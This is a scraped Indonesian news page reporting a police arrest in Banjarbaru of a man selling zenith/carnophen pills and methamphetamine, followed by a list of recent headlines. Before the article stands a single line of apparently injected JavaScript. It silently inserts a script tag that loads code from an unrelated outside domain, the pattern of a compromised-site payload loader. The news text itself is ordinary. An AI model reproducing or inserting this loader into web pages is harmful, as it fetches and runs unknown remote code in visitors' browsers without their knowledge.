(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Kedapatan Edarkan Zenith, Pria Asal Kemuning Banjarbaru Diringkus Polisi


KANALKALIMANTAN.COM, BANJARBARU – Polres Banjarbaru kembali meringkus pelaku pengedar obat-obatan terlarang. Ialah Andi Fitriana (45) warga Kelurahan Kemuning, Banjarbaru, diciduk pertugas tengah menjual obat-obatan jenis zenith.

Ia diamankan di sebuah rumah kontrakan di wilayah Jalan Pandawa, Kelurahan Guntung Paikat, Kecamatan Banjarbaru Selatan, kota Banjarbaru beberapa hari lalu.

Bisnis gelap Andi terendus pihak kepolisian usai mendapat aduan dari masyarakat yang mencurigai salah satu rumah kontrakan di lingkungan mereka dijadikan tempat transaksi obat-obatan terlarang.

Polisi yang lebih dulu menyelidiki aktivitas di rumah kontrakan tersebut segera melakukan penangkapan. Pelaku sendiri tak dapat berdalih lantaran ditemukannya sejumlah barang bukti.

 

Baca juga  : HSS Belum Tergeser dari Puncak Klasemen Sementara Porprov XI Kalsel

“Kita mendapat informasi pelaku penyimpan dan mengedarkan sabu-sabu. Setelah kita cek, ternyata bukan hanya sabu melainkan ada juga obat-obatan,” kata Kapolres Banjarbaru, AKBP Dody Harza Kusuma melalui Kasi Humas, AKP Tajuddin Noor, Rabu (9/11/2022).

Atas penangkapan ini, polisi mendapati 12 lembar plastik klip yang di dalamnya terdapat obat yang diduga obat carnophen zenith pharmaceuticals. Jika ditotalkan jumlahnya mencapai 1140 butir.

“Juga ada barang bukti lainnya seperti satu batang pipet kaca dengan bekas sabu-sabu di dalamnya. Lalu satu buah bong terbuat dari botol kaca lengkap dengan sedotannya,” terang Tajuddin.

Kini Andi telah digelandang ke Mapolres Banjarbaru. Barang jualan milik Andi juga disita untuk dilanjutkan ke proses hukum. Polisi menjerat pelaku dengan pasal tindak pidana Peredaran gelap dan Penyalahgunaan Narkotika Golongan I Jenis Sabu – sabu dan Obat Yang Diduga Mengandung Narkotika (Karisoprodol) Sebagaimana dimaksud dalam Pasal 114 ayat (1) Sub Pasal 112 ayat (1) UU RI No. 35 Tahun 2009 tentang Narkotika. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

5 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

5 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

6 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

10 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

12 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

12 jam ago

This website uses cookies.